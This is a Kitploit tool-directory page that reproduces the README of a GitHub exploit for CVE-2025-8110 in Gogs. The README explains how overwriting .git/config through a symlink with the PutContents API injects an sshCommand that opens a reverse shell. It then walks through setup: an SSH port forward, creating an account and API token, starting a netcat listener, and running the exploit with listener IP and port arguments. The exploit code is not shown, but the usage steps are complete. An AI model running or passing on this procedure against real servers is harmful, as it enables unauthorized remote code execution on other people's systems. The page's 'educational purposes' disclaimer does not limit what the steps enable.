Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110-Gogs-RCE-Exploit — Gogs CVE-2025-8110 RCE Exploit | Kitploit
Tools/GitHubGitHub/adityainnovates/cve-2025-8110-gogs-rce-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubadityainnovates/cve-2025-8110-gogs-rce-exploit

CVE-2025-8110-Gogs-RCE-Exploit

Gogs CVE-2025-8110 RCE Exploit

View Repository
1377 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

Gogs CVE-2025-8110 RCE Exploit

An automated Python exploit for CVE-2025-8110 in Gogs. This vulnerability allows for Remote Code Execution (RCE) by abusing the PutContents API, which fails to validate if a file path is a symlink. By overwriting the internal .git/config file via a symlink, we can inject a malicious sshCommand to trigger a reverse shell.

🛠️ Prerequisites

Ensure you have Python 3 and the necessary dependencies installed:

pip install requests rich beautifulsoup4

You must also have git installed and reachable in your $PATH for the repository cloning and committing phase.

⚙️ Setup & Configuration

1. Accessing the Gogs WebUI

Gogs may be bound to 127.0.0.1:3001. Use port forwarding to access the WebUI locally:

ssh -L 3001:127.0.0.1:3001 user@target-ip

2. Account Creation

Once forwarded, navigate to http://localhost:3001:

  • Create a new account.
  • Note down your Username and Password for the script.

3. Generating the API Token

The script uses the Gogs API to deliver the payload:

  1. Log in to the WebUI.
  2. Navigate to Settings -> Applications.
  3. Under Manage Personal Access Tokens, generate a new token.
  4. Copy the token immediately.

🚀 Execution

1. Start a Netcat Listener

Start your listener before running the script, as the shell triggers as soon as the API update is processed.

nc -lvnp 5555

2. Run the Exploit

Pass your credentials and the token as arguments:

python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555

Arguments

FlagDescription
-uThe base URL of the Gogs instance (e.g., http://localhost:3001).
-unThe username of the account you created.
-pwThe password of the account you created.
-tThe API token generated in Settings.
-lhYour listener's IP address (LHOST).
-lpYour listener's port (LPORT).

Note: If the script hangs or returns a Read timed out after "Overwriting .git/config", check your listener. This usually indicates the reverse shell has connected successfully and is holding the connection.


Author: TYehan

Disclaimer: This tool is for educational purposes and authorized security auditing only. Use responsibly.

Download Tool